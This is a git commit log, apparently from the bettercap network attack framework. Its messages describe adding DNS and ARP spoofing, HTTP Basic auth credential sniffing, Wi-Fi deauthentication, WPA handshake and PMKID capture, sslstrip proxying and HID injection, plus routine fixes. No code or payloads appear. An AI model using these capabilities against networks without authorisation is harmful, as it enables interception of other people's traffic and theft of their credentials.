2020-03-19 14:30:27 +11:00
Hasibul Hasan Anik
b253e6b4df Remove unnecessary variable assignment 2020-03-05 13:02:30 +06:00
Hasibul Hasan Anik
3b57b0cb38 Remove nil check for empty map. 2020-03-05 13:01:46 +06:00
Hasibul Hasan Anik
8c3f60641e Remove unnecessary and empty if block.
The if block itself is empty. Calling recover is enough to recover from panic
2020-03-05 13:01:17 +06:00
Hasibul Hasan Anik
050bd28511 Kepp sync.WorkerGroup.Add() outside of goroutine
The workergroup should be added before starting the worker.
The worker routine itself should not start the worker. It causes race condition.
2020-03-05 12:58:22 +06:00
Hasibul Hasan Anik
1fee1f718d Remove unnecessary fmt.Sprintf
the tui.Bold function already returning a string.
There has not need to convert it ot string by using fmt.Sprintf
2020-03-05 12:56:04 +06:00
buffermet
51dfd86898
Update dns_spoof.go 2020-03-05 08:44:12 +10:00
buffermet
2f14254c4c
Update dns_spoof.go 2020-03-05 08:43:21 +10:00
buffermet
466105a1af
Update dns_spoof.go 2020-03-05 08:39:07 +10:00
buffermet
03951d9d01
Update dns_spoof.go 2020-03-05 08:35:42 +10:00
buffermet
e4682168df
add dns.spoof.ttl env variable 2020-03-05 08:34:45 +10:00
Frank Spierings
a0a0963cd5 Implemented a way to not send deauthentication and/or association packets to AP's for which key material was already acquired 2020-02-28 12:05:23 +01:00
Simone Margaritelli
8ae28f4b3d
Merge pull request #700 from alnaeemi/master
Correcting content-length for stripped response body
2020-02-20 09:11:57 +01:00
mo
58b31d351f Correcting content-length for stripped response body 2020-02-13 18:08:44 -06:00
Simone Margaritelli
bb1f6cd0e8 new: added new http.proxy.redirect and https.proxy.redirect parameters to optionally disable iptables port redirection 2020-01-23 15:48:57 +01:00
Simone Margaritelli
9bf0139181
Merge pull request #669 from coderobe/patch-setrfmon
modules/wifi: Fix handle activation when monitor device is already set up
2020-01-17 11:48:01 +01:00
Robin Broda
15db10ad45 modules/wifi: Fix handle activation when monitor device is already set up 2020-01-16 23:51:57 +01:00
Simone Margaritelli
0e4f752ce4
Merge pull request #668 from coderobe/patch-1
modules/wifi: fix SetSnapLen error message text
2020-01-16 15:37:39 +01:00
Robin B
524e91af3d
modules/wifi: fix SetSnapLen error message text 2019-12-07 16:08:09 +01:00
Simone Margaritelli
2f3390cf36 fix: using iw instead of iwconfig whenever possible (fixes #657) 2019-11-25 11:59:04 +01:00
Simone Margaritelli
83c6cde152 fix: fixed a bug with wifi.recon.channel clear when wifi.interface is nil (fixes #661) 2019-11-25 11:38:38 +01:00
evilsocket
f9865299b3
Merge pull request #651 from alrs/tls-swap-err-returns
tls: Swap Error Returns
2019-11-25 11:33:10 +01:00
evilsocket
eb8bf4639b
Merge pull request #652 from alrs/caplet-error-returns
caplets: Swap Error Returns
2019-11-25 11:32:48 +01:00
evilsocket
114ac90ce0
Merge pull request #653 from alrs/ble-swap-error-returns
modules/ble: Swap Error Return
2019-11-25 11:32:36 +01:00
Lars Lehtonen
c980a7b4b2
modules/ble: swap error returns 2019-11-13 17:08:41 -08:00
Lars Lehtonen
07459424fb
caplets: Swap Error Returns 2019-11-13 15:39:20 -08:00
Lars Lehtonen
372c2d6428
tls: fix CertConfigFromModule() return order 2019-11-13 14:31:55 -08:00
Lars Lehtonen
7d7ab1937e
tls: fix CreateCertificate() return order 2019-11-13 14:31:48 -08:00
evilsocket
63d5ce7118
Merge pull request #648 from nipsufn/bettercap-644
Dockerfile: fix issue #644 and following problems
2019-11-13 02:23:01 +01:00
evilsocket
6fd7827eea
Merge pull request #650 from alrs/fix-events-stream-err
modules/events_stream: fix dropped error
2019-11-13 02:22:34 +01:00
Lars Lehtonen
fb0c2df643
modules/events_stream: fix dropped error 2019-11-11 21:58:31 -08:00
Simone Margaritelli
9c3790764a fix: fixed gateway regexp for macOS (closes #645) 2019-11-11 17:27:42 +01:00
nipsufn
a642a19b5f Dockerfile: Use go modules instead of third party dependency tool (fe7e103387) 2019-11-06 22:02:45 +01:00
nipsufn
d42621aa59 Dockerfile: fix caplets 2019-11-06 21:33:28 +01:00
nipsufn
cc9baaca1b Adjust Dockerfile for changes introduced in e06b832911 2019-11-06 21:03:02 +01:00
nipsufn
4b4bd128ce Fix https://github.com/bettercap/bettercap/issues/644 as described in https://github.com/golang/dep/issues/2055#issuecomment-456782205 2019-11-06 20:42:54 +01:00
evilsocket
6755d8c880
Merge pull request #646 from sten13/feature/sniff-basic-auth
Feature/sniff basic auth
2019-11-04 12:42:58 +01:00
Stephan Neuhaus
20a46151de Merge branch 'feature/sniff-basic-auth' of github.com:sten13/bettercap into feature/sniff-basic-auth 2019-11-01 11:15:41 +01:00
Stephan Neuhaus
a88c9078b3 View HTTP Basic authorization credentials when sniffing
Undid changes in events_view_http.go

Undid more changed to events_view_http.go

Undid more changed to events_view_http.go

Vew HTTP Basic authnoriyation credentials when sniffing

Undid changes in events_view_http.go

View HTTP Basic authorization credentials when sniffing

Undid changes in events_view_http.go

Undid more changed to events_view_http.go

Undid more changed to events_view_http.go

Vew HTTP Basic authnoriyation credentials when sniffing

Undid changes in events_view_http.go

Undid more changes
2019-11-01 11:15:21 +01:00
Stephan Neuhaus
3e1c024824 Undid more changes 2019-11-01 11:13:05 +01:00
Stephan Neuhaus
d388cf0f1a Merge branch 'feature/sniff-basic-auth' of github.com:sten13/bettercap into feature/sniff-basic-auth 2019-11-01 11:10:30 +01:00
Stephan Neuhaus
a3b80fba74 View HTTP Basic authorization credentials when sniffing
Undid changes in events_view_http.go

Undid more changed to events_view_http.go

Undid more changed to events_view_http.go

Vew HTTP Basic authnoriyation credentials when sniffing

Undid changes in events_view_http.go
2019-11-01 11:09:56 +01:00
Stephan Neuhaus
a400b3a766 Fixed conflict 2019-11-01 11:07:37 +01:00
Stephan Neuhaus
00778f1c80 View HTTP Basic authorization credentials when sniffing
Undid changes in events_view_http.go

Undid more changed to events_view_http.go

Undid more changed to events_view_http.go
2019-11-01 11:04:19 +01:00
Stephan Neuhaus
76c1e41f70 Undid changes in events_view_http.go 2019-11-01 10:59:00 +01:00
Stephan Neuhaus
d21793fc8f Vew HTTP Basic authnoriyation credentials when sniffing 2019-11-01 10:55:45 +01:00
Simone Margaritelli
e51e097e43 Releasing v2.26.1 2019-10-26 10:16:55 +02:00
Simone Margaritelli
4069887cf6 fix: do not save dummy/invalid half handshakes 2019-10-26 10:16:40 +02:00
Simone Margaritelli
5a6a7143f2 Releasing v2.26 2019-10-18 15:39:39 +02:00
Simone Margaritelli
176017a1f7
misc: small fix or general refactoring i did not bother commenting 2019-10-18 15:39:20 +02:00
Simone Margaritelli
9b8354d72c go get -u 2019-10-18 15:33:05 +02:00
Simone Margaritelli
266edb0631
misc: small fix or general refactoring i did not bother commenting 2019-10-18 15:27:49 +02:00
Simone Margaritelli
eef9b64d01 Merge branch 'rumpelsepp-master' 2019-10-18 15:23:49 +02:00
Simone Margaritelli
b8ff8a00e8 Merge branch 'master' of git://github.com/rumpelsepp/bettercap into rumpelsepp-master 2019-10-18 15:23:25 +02:00
Simone Margaritelli
ec9c203618 added deploy key for travis-ci 2019-10-18 15:06:20 +02:00
evilsocket
cc6a417869
Merge pull request #639 from caquino/master
New build system using travis-ci
2019-10-18 15:00:11 +02:00
Cassiano Aquino
a3a7cf07e2
new travis configuration (#1)
* New builder
2019-10-18 11:04:41 +01:00
evilsocket
3fee68fa37
Create FUNDING.yml 2019-10-09 16:04:03 +02:00
Simone Margaritelli
6d02fa8f38 new: updated build script to generate a linux/armv6l image (rpi0w+raspbian) 2019-10-04 20:43:40 +02:00
Simone Margaritelli
5b350154b0 fix: fixed naming for android armv7l builds 2019-10-04 20:23:13 +02:00
Simone Margaritelli
8c424765f6 merge 2019-09-28 17:43:31 +02:00
Simone Margaritelli
caba6e1952 new: wifi.client.probe.ap.filter and wifi.client.probe.sta.filter actions to filter wifi client probes 2019-09-28 17:43:07 +02:00
evilsocket
f1ef4bcb35
Merge pull request #630 from ns3777k/578-concurrent-read-write-meta
lock meta mutex during marshaling
2019-09-27 14:01:44 +02:00
Nikita Safonov
74ada7e865 lock meta mutex during marshaling 2019-09-26 16:52:31 +03:00
Simone Margaritelli
d0e311e283 Releasing v2.25 2019-09-26 14:30:01 +02:00
Simone Margaritelli
5ff8e3e4fa misc: added .idea to .gitignore 2019-09-26 13:58:31 +02:00
evilsocket
12a11ef19d
new: wifi.min.rssi, wifi.ap.ttl and wifi.sta.ttl changes are now applied in realtime 2019-09-15 15:10:56 +02:00
evilsocket
53b0d81f20
misc: small fix or general refactoring i did not bother commenting 2019-09-10 12:45:33 +02:00
evilsocket
9dd6145a39
misc: small fix or general refactoring i did not bother commenting 2019-09-08 16:48:32 +02:00
evilsocket
8ac2c0163b
misc: small fix or general refactoring i did not bother commenting 2019-09-08 16:47:24 +02:00
evilsocket
2e2a5248b4
new: ble module is now available for macOS 2019-09-08 16:39:27 +02:00
evilsocket
29c571cf16
fix: updated dependencies (fixes some issues with BLE) 2019-09-08 16:36:01 +02:00
evilsocket
f14470c8f6
new: new hid.ttl parameter (fixes #560) 2019-09-08 16:19:13 +02:00
evilsocket
8ec91c9206
new: implemented ble.timeout and ble.ttl parameters (ref #560) 2019-09-08 16:13:46 +02:00
evilsocket
4cba4f9ff2
fix: handling panics while decoding packets (fixes #612) 2019-09-07 18:11:15 +02:00
evilsocket
4c2dd1b411
misc: small fix or general refactoring i did not bother commenting 2019-09-07 17:58:19 +02:00
evilsocket
32e1bf8a7b
new: new wifi.ap.ttl and wifi.sta.ttl parameters 2019-09-07 17:53:59 +02:00
evilsocket
e3ed2ca5aa
Merge pull request #618 from realgam3/realgam3_features
features & bugfixes
2019-09-07 13:31:36 +02:00
realgam3
4181cd1c42 Trying not to invent the wheel 2019-09-06 18:05:07 +03:00
realgam3
2eb00ee11a Fix user home dir when using sudo on linux 2019-09-06 17:56:36 +03:00
realgam3
c46bb905b9 Added caplets windows compatibility 2019-09-06 17:25:54 +03:00
realgam3
11d2756283 Added dropCallback to drop packets instead of just changing it 2019-09-06 02:31:48 +03:00
realgam3
709232dba2 Added HTTPRequest to otto runtime 2019-09-05 13:50:17 +03:00
evilsocket
ff3add0fe2
misc: small fix or general refactoring i did not bother commenting 2019-08-22 13:48:52 -04:00
evilsocket
a79ed9b4d4
misc: small fix or general refactoring i did not bother commenting 2019-08-22 13:36:40 -04:00
evilsocket
2aa6fea92c
misc: small fix or general refactoring i did not bother commenting 2019-08-22 13:35:18 -04:00
evilsocket
da565afa9a
new: new wifi.handshakes.aggregate parameter to control how handshakes get saved 2019-08-22 13:21:52 -04:00
evilsocket
672a9f2706
fix: saving half handshakes 2019-08-19 15:59:43 -04:00
evilsocket
3d31bf3712
new: reporting if wifi handshakes are full or half 2019-08-19 13:56:18 -04:00
evilsocket
9e9b984fec
new: added support for half WPA handshakes (https://hashcat.net/forum/thread-6745-post-36007.html) 2019-08-17 22:33:26 -04:00
evilsocket
b57661a097
misc: small fix or general refactoring i did not bother commenting 2019-08-17 14:17:08 -04:00
evilsocket
33797b120e
Merge pull request #601 from yungtravla/master
add boolean for dumping HTTP bodies in hex format
2019-08-17 14:01:18 -04:00
evilsocket
8ae7f79b4f
Merge pull request #603 from dandare100/master
Added beacon packet to handshake cap file for PMKID assoc attack
2019-08-17 14:00:41 -04:00
evilsocket
f89d8b0144
Merge pull request #610 from ge0rg/hid_sleep
HID: implement ducky SLEEP command
2019-08-17 13:57:54 -04:00
evilsocket
209f6878c4
Merge pull request #611 from ge0rg/hid_menu
HID: add MENU key to generic keymap
2019-08-17 13:57:29 -04:00
Georg Lukas
ba76631379 HID: add MENU key to generic keymap 2019-08-15 17:28:27 +02:00
Georg Lukas
d2e449370c HID: implement ducky SLEEP command 2019-08-15 17:26:05 +02:00
root
5302f7f3f3 Added beacon packet to handshake cap file for PMKID assoc attack 2019-08-04 19:44:09 +02:00
yungtravla
5ab45693c5
add boolean for dumping HTTP bodies in hex format 2019-08-01 17:45:16 +10:00
yungtravla
3d6e28ea45
add boolean for dumping HTTP bodies in hex format 2019-08-01 17:42:47 +10:00
Stefan Tatschner
6406885928 Update broken tests 2019-06-30 22:22:36 +02:00
Stefan Tatschner
d22befab45 Update .travis to reflect Makefile changes 2019-06-30 22:14:56 +02:00
Stefan Tatschner
e06b832911 Fix broken test invokation in Makefile
The Makefile did call the test suite in a broken way. It always reported
passed tests, since the exit code was always 0.
2019-06-30 22:12:47 +02:00
Stefan Tatschner
fe7e103387 Use go modules instead of third party dependency tool
We have go modules now built in. Let's use it!
2019-06-30 22:11:23 +02:00
evilsocket
4a96bf641a
Releasing v2.24.1 2019-06-22 15:12:17 +02:00
evilsocket
c26f3ea1bb
fix: setting RemoteAddr field of a proxied request 2019-06-13 13:56:31 +02:00
evilsocket
1f3c009d15
fix: fixed a nil pointer dereference in the http banner grabber of syn.scan 2019-05-07 13:35:01 +02:00
evilsocket
23d8305e85
Merge pull request #566 from Matrix86/master
Fix on http proxy
2019-05-02 18:52:02 +02:00
Gianluca
be62757efa fix: http proxy modules couldn't handle properly requests with port number in the URL. 2019-05-02 18:25:19 +02:00
evilsocket
f8566d6020
fix: fixed a nil pointer dereference when wifi.show is called but the wifi module is not running (fixes #562) 2019-05-01 12:27:52 +02:00
evilsocket
3a4d730fce
fix: updated dependencies (fixes #561) 2019-05-01 12:21:53 +02:00
evilsocket
e8578e829c
Merge pull request #556 from djerfy/add-docker-image-latest
Add docker image latest
2019-04-28 12:14:10 +02:00
Jérémy CHABERNAUD
ae02658ebc
Add docker image latest 2019-04-27 23:24:48 +02:00
evilsocket
67eef05892
fix: logs when the api.rest http2 stream is closed are now debug logs 2019-04-25 18:16:35 +02:00
evilsocket
5e58a393b5
fix: fixed release script to update stable docker image (fixes #553) 2019-04-24 20:15:49 +02:00
evilsocket
95bc9b9d78
fix: fix an alignment issue for atomic ops on arm 2019-04-23 14:14:23 +02:00
evilsocket
a910a3729e
misc: small fix or general refactoring i did not bother commenting 2019-04-22 17:16:29 +02:00
evilsocket
b868408c17
misc: small fix or general refactoring i did not bother commenting 2019-04-22 16:29:58 +02:00
evilsocket
2bd768f065
new: net.probe is now be able to actively discover mDNS services 2019-04-22 15:39:23 +02:00
evilsocket
45951d2f82
new: implemented mDNS server / spoofer (closes #542) 2019-04-22 13:53:32 +02:00
evilsocket
385c8e3926
new: added dns CHAOS banner grabber to syn.scan 2019-04-22 12:33:48 +02:00
evilsocket
8cb330562b
misc: small fix or general refactoring i did not bother commenting 2019-04-22 12:02:37 +02:00
evilsocket
4e397a71d5
misc: small fix or general refactoring i did not bother commenting 2019-04-22 12:02:12 +02:00
evilsocket
30d9415d8c
misc: small fix or general refactoring i did not bother commenting 2019-04-22 11:47:36 +02:00
evilsocket
b8d9179def
misc: small fix or general refactoring i did not bother commenting 2019-04-22 11:13:24 +02:00
evilsocket
8c41e048d5
misc: small fix or general refactoring i did not bother commenting 2019-04-22 11:02:53 +02:00
evilsocket
8d66e68fc2
misc: small fix or general refactoring i did not bother commenting 2019-04-22 11:02:16 +02:00
evilsocket
df8ebd2525
misc: small fix or general refactoring i did not bother commenting 2019-04-21 20:53:27 +02:00
evilsocket
cd249687da
fix: syn.scanner now uses a dedicated pcap handle to prevent deadlocks and improve performances 2019-04-21 20:37:41 +02:00
evilsocket
8257d25ff3
fix: api.rest and https.server certificates are now correctly generated with IsCA to false 2019-04-21 19:55:53 +02:00
evilsocket
070708c307
new: improved syn.scan module performances when scanning multiple addresses 2019-04-21 16:26:37 +02:00
evilsocket
aea68460c8
new: syn.scan will now perform basic tcp banner grabbing 2019-04-21 15:45:32 +02:00
evilsocket
5a62546c50
fix: made BLE module less verbose by switching some of the logs to debug ones 2019-04-21 14:00:43 +02:00
evilsocket
aa3f4366a2
misc: small fix or general refactoring i did not bother commenting 2019-04-21 13:47:41 +02:00
evilsocket
0eb34e61fe
misc: updated dependencies 2019-04-21 13:47:08 +02:00
evilsocket
64d316af5b
fix: fixed compilation issue related to mdlayher/raw dependency (ref #468) 2019-04-21 13:37:53 +02:00
evilsocket
7a80dc2b49
Merge pull request #548 from stefanoj3/minor_improvements
Minor improvements
2019-04-21 13:26:33 +02:00
Stefano Gabryel
0e857e4467 Minor improvements to prevent unecessaries allocations 2019-04-21 07:26:54 +02:00
Stefano Gabryel
8f761dd76c Fixing ignored error in trigger list 2019-04-21 07:26:54 +02:00
evilsocket
29bf0d94f1
misc: set gps module default baud rate to 4800bps 2019-04-19 15:37:55 +02:00
evilsocket
936e0f740a
misc: small fix or general refactoring i did not bother commenting 2019-04-18 12:46:37 +02:00
evilsocket
2593f9160d
misc: small fix or general refactoring i did not bother commenting 2019-04-18 12:46:11 +02:00
evilsocket
5f973629d3
fix: fixing CORS headers only if sslstrip is enabled (fixes #543) 2019-04-18 12:44:50 +02:00
evilsocket
1a6faa9f66
misc: updated gatt library to fix an invalid memory access bug 2019-04-18 10:56:10 +02:00
evilsocket
9aaa13b6f6
Merge pull request #541 from ShySec/master
goroutine references address overwritten in loop; pass-by-value instead
2019-04-14 10:34:03 +03:00
kelson
01d33415a6 goroutine references address overwritten in loop; pass-by-value 2019-04-13 17:26:02 -04:00
evilsocket
4dadc3f41b
Merge pull request #538 from yungtravla/master
return more endpoint information with req.Client
2019-04-10 13:56:38 +03:00
yungtravla
62d46f5045
fix NewHash function 2019-04-10 20:27:17 +10:00
yungtravla
2b4b58462c
return more endpoint information with req.Client 2019-04-10 19:54:40 +10:00
evilsocket
ee809b6083
new: exporting hardware resources usage from api.rest 2019-04-09 12:08:30 +03:00
evilsocket
973c88fd31
misc: small fix or general refactoring i did not bother commenting 2019-04-09 10:56:15 +03:00
evilsocket
5dd248cef8
misc: small fix or general refactoring i did not bother commenting 2019-04-09 10:52:48 +03:00
evilsocket
0b430dd488
new: syn.scan can now resolve port services too 2019-04-09 10:52:15 +03:00
evilsocket
9c381a449d
misc: small fix or general refactoring i did not bother commenting 2019-04-08 11:44:57 +03:00
evilsocket
28063ff7c0
fix: fixed a lock issue on the wifi modules (fixes #535) 2019-04-06 17:01:00 +02:00
evilsocket
6e90b3d26c
Merge pull request #533 from jmg-duarte/patch-1
Typo fix
2019-04-06 16:02:27 +02:00
José Duarte
bca0b13cbf
Update README.md 2019-04-04 10:03:26 +01:00
evilsocket
1f37381fde
fix: when net.sniff is sniffing a mDNS hostname, it'll update the endpoint field 2019-04-04 10:01:49 +02:00
evilsocket
126cb7febf
misc: decoupled session record loading to external package 2019-04-03 10:26:54 +02:00
evilsocket
b743b26dde
misc: decoupled session record reader from the modules 2019-04-03 09:39:28 +02:00
evilsocket
36e5fe8bdb
fix: modules that require net.recon can now specify it as a dependency 2019-04-02 00:06:43 +02:00
evilsocket
5ef330f80b
misc: small fix or general refactoring i did not bother commenting 2019-03-30 18:19:34 +01:00
evilsocket
f9ebb1a77e
fix 2019-03-30 17:33:02 +01:00
evilsocket
460bd9b159
new: api.rest.record.clock parameter to decide delay per sample 2019-03-30 17:32:53 +01:00
evilsocket
0113286b4f
fix: gracefully handling hid receiver disconnection 2019-03-30 16:27:56 +01:00
evilsocket
afe300cd8a
fix: gracefully handling wifi device disconnection 2019-03-30 16:17:26 +01:00
evilsocket
54116f7fbe
fix: fixed replay time computation using actual dates instead of the assumption of one frame per second 2019-03-30 13:59:08 +01:00
evilsocket
50d01429cd
new: added Updated field to session.GPS 2019-03-30 00:26:38 +01:00
evilsocket
2f53e40f98
Revert "misc: keeping frames in memory as compressed"
This reverts commit 054d8a5a3e.
2019-03-29 21:52:03 +01:00
evilsocket
054d8a5a3e
misc: keeping frames in memory as compressed 2019-03-29 21:45:43 +01:00
evilsocket
5fb4cd6a5a
misc: small fix or general refactoring i did not bother commenting 2019-03-29 21:23:08 +01:00
evilsocket
1eec682aeb
new: new ble.device parameter to set HCI index (closes #519) 2019-03-29 20:16:41 +01:00
evilsocket
c3f0e3598b
misc: small fix or general refactoring i did not bother commenting 2019-03-29 20:03:46 +01:00
evilsocket
ec28399677
fix: updated gatt library with latest fixes 2019-03-29 19:52:24 +01:00
evilsocket
4d5876db2f
misc: small fix or general refactoring i did not bother commenting 2019-03-29 19:45:14 +01:00
evilsocket
fdc26ca3aa
misc: reporting session replay loading progress as api.rest state object 2019-03-29 19:31:20 +01:00
evilsocket
a411607a57
misc: added loading boolean flag to api.rest state object 2019-03-29 18:00:48 +01:00
evilsocket
0a31ac8167
new: implemented api.rest.record and api.rest.replay 2019-03-29 16:20:31 +01:00
evilsocket
4713d25ea7
misc: small fix or general refactoring i did not bother commenting 2019-03-27 16:47:28 +01:00
evilsocket
8085e84394
Releasing v2.21.1 2019-03-27 16:14:14 +01:00
evilsocket
a59c51b825
fix: fixed a bug which broke ble.enum 2019-03-27 16:13:41 +01:00
evilsocket
d9a79aace7
Releasing v2.21 2019-03-27 15:08:41 +01:00
evilsocket
40ec724ca6
fix: reporting module name when it's already running or already stopped 2019-03-27 13:59:22 +01:00
evilsocket
fbcaf2989f
new: ui module to install/update the UI from github releases 2019-03-27 13:50:00 +01:00
evilsocket
92758d7f7e
fix: http and https servers file access logs are now debug logs 2019-03-27 13:49:34 +01:00
evilsocket
c99a5121fe
new: [IMPORTANT] net.recon is not in the autostarted list of modules anymore 2019-03-27 13:48:52 +01:00
evilsocket
da2681375f
fix: updated islazy/zip version to fiz a zip.Unzip related bug 2019-03-27 13:48:21 +01:00
evilsocket
a3b730ce69
fixed a bug caused by multiple wifi devices attached with different supported frequencies 2019-03-26 20:30:33 +01:00
evilsocket
529a1b48d9
new: api.rest now exposes polled_at time field for the object session 2019-03-26 17:04:59 +01:00
evilsocket
7d46e7aa7a
fix: fixed a bug when AttEcodeSuccess was returned as an error by the gatt lib (fixes #498) 2019-03-26 14:33:14 +01:00
evilsocket
cfd93c555a
new: implemented (http|https).proxy.whitelist and (http|https).proxy.blacklist parameters (closes #508) 2019-03-26 14:20:53 +01:00
evilsocket
6785650887
misc: v2.20 is near 2019-03-24 02:37:23 +01:00
evilsocket
08d85251dd
fix: caplet code is loaded entirely and comments are only skipped while evaluating it 2019-03-24 01:21:27 +01:00
evilsocket
bf8a7659b5
new: caplets will now include the list of sub scripts and files in api.rest 2019-03-23 20:52:49 +01:00
evilsocket
fe568c8188
misc: small fix or general refactoring i did not bother commenting 2019-03-23 15:59:33 +01:00
evilsocket
38c94cb105
misc: small fix or general refactoring i did not bother commenting 2019-03-23 15:21:19 +01:00
evilsocket
afdb11514b
fix: fixed macOS compilation 2019-03-23 15:18:52 +01:00
evilsocket
b8056e2026
misc: small fix or general refactoring i did not bother commenting 2019-03-23 14:11:28 +01:00
evilsocket
43941b0a3f
Merge pull request #507 from zanemcca/certificate-fix
Fixed certificate issues
2019-03-23 01:23:55 +01:00
Zane
5b02f14cab Fixed certificate issues 2019-03-22 16:15:41 -07:00
evilsocket
b7f4a3024b
misc: small fix or general refactoring i did not bother commenting 2019-03-22 23:49:21 +01:00
evilsocket
9a3c252c4f
new: handshakes history is now loaded from the configured pcap 2019-03-22 23:31:11 +01:00
evilsocket
c7f28855ca
fix: clear handler caused issues on some terminals, fixed by using os specific clear command 2019-03-22 21:28:57 +01:00
evilsocket
9f24800e6d
fix: wifi clients sent and received data frame counters are now updated correctly 2019-03-22 15:11:07 +01:00
evilsocket
7e7f2ef645
new: aliases are now centralized and can be used for any type of device (closes #504) 2019-03-21 19:39:08 +01:00
evilsocket
96853e663b
fix: api.rest.address now defaults to 127.0.0.1 2019-03-21 18:26:55 +01:00
evilsocket
3bbfdbad29
misc: small fix or general refactoring i did not bother commenting 2019-03-21 14:08:16 +01:00
evilsocket
9693c06cef
fix: attempt to fix #500 by structure realigning 2019-03-21 13:34:09 +01:00
evilsocket
821f885332
misc: added debug panic for #500 2019-03-21 12:55:46 +01:00
evilsocket
80000ed737
new: the events ignore list is now exported as the events.stream state object via api.rest 2019-03-21 11:59:41 +01:00
evilsocket
2e3e4f453b
fix: events.include and events.ignore now filter for both events.stream and api.rest 2019-03-21 11:20:48 +01:00
evilsocket
f23c780eee
fix: fixed a bug in ble.recon which sometimes caused a crash if ble.recon off was called but no device was present 2019-03-21 10:57:16 +01:00
evilsocket
0cfe6eebcc
fix: do not start arp.spoof if the list of targets is empty 2019-03-20 21:16:34 +01:00
evilsocket
a202f7eaca
fix: now api.rest can execute multiple commands divided by ; 2019-03-20 19:28:04 +01:00
evilsocket
f8dda1e8e9
adding networking interfaces addresses for api.rest 2019-03-20 14:49:12 +01:00
evilsocket
72370dec58
new: exporting available network interfaces in /api/session for api.rest 2019-03-20 13:48:34 +01:00
evilsocket
4f54b12ee1
fix: fixed a bug which prevented 'set alias MAC ""' to clear an alias 2019-03-20 13:36:44 +01:00
evilsocket
5aa57f5cd7
new: exporting version, os, arch, and goversion from api.rest 2019-03-20 01:45:10 +01:00
evilsocket
3edf80fc99
new: preloading and exporting caplets from api.rest 2019-03-19 19:10:40 +01:00
evilsocket
6b9b27302e
new: hid devices now exports the last 50 sniffed payloads via api.rest 2019-03-19 14:59:08 +01:00
evilsocket
39f9a02c98
fix: increased hid pruning time to 20 minutes 2019-03-19 13:57:34 +01:00
evilsocket
3e8d6512e1
fix: using fallback hid.device.type if the device was detected but not its type 2019-03-19 13:55:23 +01:00
evilsocket
af1bfb3894
new: hid module now exposes the available layouts via api.rest 2019-03-19 13:41:06 +01:00
evilsocket
3b4432f072
new: new /api/file route for api.rest to read and write files 2019-03-19 13:29:23 +01:00
evilsocket
e1558413b2
new: the hid module now exposes its status via api.rest 2019-03-19 11:29:06 +01:00
evilsocket
e7606589f3
new: syn.scan now exposes progress via api.rest 2019-03-19 11:21:45 +01:00
evilsocket
1cb5e82186
fix: checking dongle pointer in hid.recon off 2019-03-19 03:03:03 +01:00
evilsocket
c830e64309
fix: gracefully handling https.server starting errors 2019-03-19 01:13:30 +01:00
evilsocket
51667a039f
fix: gracefully handling http.server starting errors 2019-03-19 01:12:36 +01:00
evilsocket
d7b6cdb8a1
fix: printing path for unauthorized attempts to request api.rest routes 2019-03-19 00:40:28 +01:00
evilsocket
09c09e647b
misc: small fix or general refactoring i did not bother commenting 2019-03-18 22:16:32 +01:00
evilsocket
a5116d3533
revert 2019-03-18 13:12:42 +01:00
evilsocket
49aeb37b5c
fix: exposing session modules as a map in api.rest for quick lookup 2019-03-18 12:59:39 +01:00
evilsocket
ba4793f980
misc: small fix or general refactoring i did not bother commenting 2019-03-18 12:23:55 +01:00
evilsocket
756c04fd95
new: module can now export a State map with specific information 2019-03-18 12:07:00 +01:00
evilsocket
b7c6e61428
fix: pruning HID devices after 10 minutes of inactivity 2019-03-17 18:41:19 +01:00
evilsocket
b9c4982457
fix: fixed packets.Queue JSON serialization for api.rest module 2019-03-17 14:21:21 +01:00
evilsocket
255102c250
fix: allow wifi modules to use network aliases for clients never seen on lan 2019-03-17 14:01:30 +01:00
evilsocket
d6e6746809
fix: setting BLE device name once services are enumerated 2019-03-17 13:36:59 +01:00
evilsocket
64a5ce2b58
fix: using sync.Map to avoid race conditions on the packets.Queue 2019-03-17 13:12:31 +01:00
evilsocket
b676d68b4c
Merge branch 'master' of github.com:bettercap/bettercap 2019-03-17 12:50:25 +01:00
evilsocket
6e73c47dd7
misc: added race detector build to Makefile 2019-03-17 12:46:23 +01:00
evilsocket
eeadba40f4
Merge pull request #495 from M0WA/dns_spoof_wildcard_hostfile
dns.spoof.hosts supports wildcard domains
2019-03-17 12:18:10 +01:00
Moritz Wagner
01ed35fa28 dns.spoof.hosts supports both wildcard (optional) based domain lines and hosts based entries.
if the ip is ommited in a line it defaults to the ip given in dns.spoof.address.

example hosts file contents:
*.example.
google.com 127.0.0.1
*.yahoo.*  127.0.0.2
2019-03-17 03:51:43 +01:00
evilsocket
0810a1f2fe
new: exposing ble.device.disconnected events via api.rest module 2019-03-16 21:48:08 +01:00
evilsocket
8115490d3a
new: exposing enumerated BLE services for each device via api.rest module 2019-03-16 20:45:50 +01:00
evilsocket
9c171735da
fix: added handshake information for wifi aps in api.rest 2019-03-16 17:24:37 +01:00
evilsocket
8317aded14
fix: made arp.spoof debug less verbose (ref #483) 2019-03-16 12:34:01 +01:00
evilsocket
8958fffd28
new: hid module is now supported on Windows tnx to @4p3rtur3 (closes #482) 2019-03-16 12:18:14 +01:00
evilsocket
c89123f305
fix: propagating mod.started and mod.stopped events 2019-03-15 17:28:20 +01:00
evilsocket
0f427911be
new: exporting module parameters current value in api.rest 2019-03-14 21:05:33 +01:00
evilsocket
ee8fe972e0
new: hid.sniff will now hexdump sniffed payloads (closes #490) 2019-03-14 18:33:26 +01:00
evilsocket
73710ba7d3
fix: fixed wifi.client.handshake event json serialization 2019-03-14 17:11:45 +01:00
evilsocket
242f4cfece
fix: fixed wifi.client.probe event json serialization 2019-03-14 16:37:59 +01:00
evilsocket
c8e9d11871
new: new hid.clear command to clear the list of devices 2019-03-13 23:39:41 +01:00
evilsocket
758f839e17
new: the wifi module can now use an optional wifi.interface parameter in order to use a secondary interface (fixes #488) 2019-03-13 16:04:40 +01:00
evilsocket
120db4db3d
fix: fixed a bug in the gatt library which prevented ble.recon/ble.enum to work multiple times (fixes #471) 2019-03-13 15:35:46 +01:00
evilsocket
f68957b769
misc: small fix or general refactoring i did not bother commenting 2019-03-13 13:40:16 +01:00
evilsocket
c49a57893a
fix: made arp.spoof debug logs less verbose when mac addresses can't be resolved (ref #483) 2019-03-13 13:35:08 +01:00
evilsocket
6d4d47a326
fix: fixed libusb issue in Dockerfile (fixes #480) 2019-03-13 06:16:38 +01:00
evilsocket
603735adb6
fix: updated islazy to 1.10.3 (ref #481) 2019-03-13 06:12:09 +01:00
evilsocket
852abec22e
Merge pull request #485 from yungtravla/master
fix android shell command function
2019-03-13 04:51:13 +01:00
yungtravla
3bbd402aae
fix android Shell command function 2019-03-13 02:53:22 +10:00
